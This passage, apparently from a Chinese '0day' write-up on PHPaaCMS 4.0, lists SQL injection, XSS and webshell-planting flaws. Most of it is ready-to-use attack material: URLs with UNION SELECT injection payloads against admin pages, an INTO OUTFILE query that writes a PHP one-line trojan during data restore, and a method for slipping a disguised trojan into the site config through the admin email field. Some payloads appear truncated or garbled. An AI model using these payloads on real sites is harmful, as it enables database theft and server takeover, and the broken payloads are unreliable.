PHPaaCMS 4.0 oday - 技术文章

3. 注入:
  形成原因:
  对参数过滤不到位直接带入SQL语句造成的
  漏洞页面  
     admin/page.add.php  
     admin/ message.action.php
     admin/article.add.php
     search.php
      $userid = trim($_GET [‘userid’])?trim($_GET [‘userid’]):0;//只过滤了空格
      find ( "select * from phpaadb_users where userid=" . $userid );
       以上3个页面均是对userid 过滤不严造成的
  测试：
    http://localhost/phpaaCMS/admin/friendlink.add.php?act=edit&id=1%20and%201=2%20union%20select%201,2,3,user%28%29,5,6
    http://localhost/phpaaCMS/admin/user.add.php?act=edit,&userid=31 union select 1,user(),3
    http://localhost/phpaaCMS/admin/article.add.php?act=add&cid=1&id=32%27

4. XSS
  形成原因:
    对进行搜索时输入的html标签过滤不到
    漏洞页面  search.php 
  测试
         http://localhost/phpaacms/search.php?keywords=>">

5. 后台执行恢复数据可以写一句话:
  形成原因: 
    恢复数据的时候可以自定义SQL语句造成的.
  测试：
     在自己的SQL 脚本中写入如下代码
     select  * from hacker union select '1' from mysql.user into
     outfile 'D:wwwhack.php‘
     在执行恢复的时候可以生成一句话木马

6. 配置文件写一句话
  形成原因:
     把网站配置信息写到website.inc.php文件中过滤不到位造成的
  测试
     直接写常规的php木马是不行得,
         /“)?>      好闭合,在写网站配置信息的时候在管理员邮箱写上面的变形木马就
     可以了